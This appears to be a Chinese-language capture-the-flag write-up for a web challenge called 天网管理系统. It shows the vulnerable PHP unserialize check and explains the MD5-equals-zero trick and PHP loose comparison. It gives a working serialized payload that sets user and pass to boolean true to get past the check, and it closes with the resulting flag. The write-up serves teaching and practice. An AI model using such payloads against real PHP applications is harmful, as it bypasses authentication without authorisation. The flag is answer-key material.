实验吧 天网管理系统

题目链接:http://ctf5.shiyanbar.com/10/web1/实验吧 天网管理系统

  1. 查看源代码实验吧 天网管理系统
    要求输入的用户名的值md5之后等于0 百度下就能知道很多md5为0的值
    MD5加密后==’0’ 总结
  2. 找到新链接
    实验吧 天网管理系统
$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') 
{
	 print_r($flag);
 }
 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年 
 // 将上传的password反序列化反序列化中的user, pass等于某个值
  1. php序列化
    PHP serialize() 函数函数用于序列化对象或数组,并返回一个字符串 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()
    实验吧 天网管理系统
<?php
class Students
{
	public $name = "Jack";
	public $sex = "male";
	public $age = "18";
}
$c = new Students();
$c -> name = "Alice";
$c -> sex = "female";
$c -> age = "16";
echo serialize($c);
?>

实验吧 天网管理系统

  1. 反序列化漏洞
    前面源代码中有提到布尔型变量 bool类型的true跟任意字符串可以弱类型相等
    构造password a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
    实验吧 天网管理系统
    得到flag:ctf{dwduwkhduw5465}